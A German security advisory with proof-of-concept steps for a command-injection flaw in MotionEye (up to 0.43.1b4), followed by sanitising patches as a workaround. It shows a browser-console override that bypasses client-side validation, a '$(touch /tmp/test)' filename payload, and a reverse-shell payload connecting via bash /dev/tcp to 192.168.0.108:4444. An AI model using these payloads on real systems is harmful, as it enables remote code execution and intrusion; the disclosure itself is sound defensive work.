
PoC steps for this vulnerability
Bei einem Sicherheitstest einer in Docker laufenden MotionEye-Instanz wurde beobachtet, dass die Client-seitige Validierung in der Weboberfläche umgangen werden kann. Dadurch können beliebige Eingaben übermittelt werden, einschließlich Payloads, die eine Ausführung auf dem Container auslösen können. Das Problem birgt das Risiko einer Remote-Codeausführung (RCE), wenn es ausgenutzt wird.
Betroffene Versionen: Alle Versionen bis einschließlich 0.43.1b4
Patch-Status: Noch kein Patch verfügbar. In diesem Advisory wird ein Workaround angegeben.
Projektreferenz: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10
ghcr.io/motioneye-project/motioneye:edge9999 auf den Container-Port 8765 gemapptadmin / leeres Passwort (Standard)Führen Sie den folgenden Befehl aus, um das Docker-Image herunterzuladen und den Container zu starten:
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
docker logs motioneye | grep "motionEye server"
Ergebnis: MotionEye-Server 0.43.1b4

Sobald der Docker-Container läuft, kann mit den folgenden Befehlen auf die Container-Shell zugegriffen werden:
docker exec -it motioneye /bin/bash
ls -la /tmp
Webinterface aufrufen unter:
http://127.0.0.1:9999
Anmeldung: admin (leeres Passwort)
Beispiel-RTSP-Netzwerkkamera hinzugefügt.

In das Feld „Still Images“ > „Image File Name“ wurde ein bösartiger Ausführungsbefehl eingegeben, aber es wurde ein Fehler der Client-seitigen Validierung ausgelöst.
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
Von der Client-seitigen Validierung blockiert.

Das folgende Skript ist für die Validierung verantwortlich: /static/js/main.js?v=0.43.1b4, das auf /static/js/ui.js?v=0.43.1b4 verweist, um die Validierungsbedingungen umzusetzen.
Datei: /static/js/main.js?v=0.43.1b4, die auf /static/js/ui.js?v=0.43.1b4 verweist
function configUiValid() {
$('div.settings').find('.validator').each(function () { this.validate(); });
var valid = true;
$('div.settings input, select').each(function () {
if (this.invalid) { valid = false; return false; }
});
return valid;
}
Durch Überschreiben der Funktion configUiValid in der Browserkonsole können alle Validierungsprüfungen umgangen werden: Fügen Sie den folgenden Codeausschnitt in die Konsole des Browsers ein (F12 oder Strg+Umschalt+I)
configUiValid = function() {
return true;
};
Nun kann die Payload ohne jede Validierung direkt eingegeben werden: wie unten angegeben einstellen und die Einstellungen übernehmen (Apply).
Einstellungen:
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
Übernommen → Datei mit Root-Rechten erstellt.
Einfache Erstellung einer Reverse Shell:
Listener:
nc -lvnp 4444
Injizierte Payload:
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
Ergebnis: Remote-Shell erhalten.
MotionEye ist verwundbar, weil es Benutzereingaben aus dem Web-Dashboard übernimmt und ohne Prüfung auf gefährliche Zeichen direkt in die Motion-Konfigurationsdateien schreibt. Beispielsweise wird das Feld image_file_name in der Benutzeroberfläche an das Backend (config.py) gesendet und in /etc/motioneye/camera-.conf gespeichert. Wenn MotionEye den Motion-Dienst neu startet (motionctl.start), liest der Motion-Prozess diese Konfigurationsdatei. Wenn das Feld picture_filename Shell-Syntax wie $(touch /tmp/test) enthält, führt Motion dies als echten Befehl aus, anstatt es als Teil des Dateinamens zu behandeln.
Ungefilterte Eingabe, die in Motion-Konfigurationsdateien geschrieben wird:
Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion parst picture_filename → führt Payload aus
Datei: /usr/local/lib/python3.13/dist-packages/motioneye/config.py
def sanitize_filename(value):
# allow only letters, numbers, %, _, -, /, .
for ch in value:
if not (ch.isalnum() or ch in "%-_/."):
return "%Y-%m-%d/%H-%M-%S" # safe fallback
return value
Bereinigung anwenden:
data['picture_filename'] = sanitize_filename(ui['image_file_name'])
data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])
vorher:
nachher:

docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
docker exec -it motioneye /bin/bash
docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py
Original:
on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]
Ersetzen durch:
import re
on_event_start = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
docker restart motioneye
Innerhalb von motion_camera_ui_to_dict(...):
Original:
data['picture_filename'] = ui['image_file_name']
data['snapshot_filename'] = ui['image_file_name']
Ersetzen durch:
from re import sub
data['picture_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')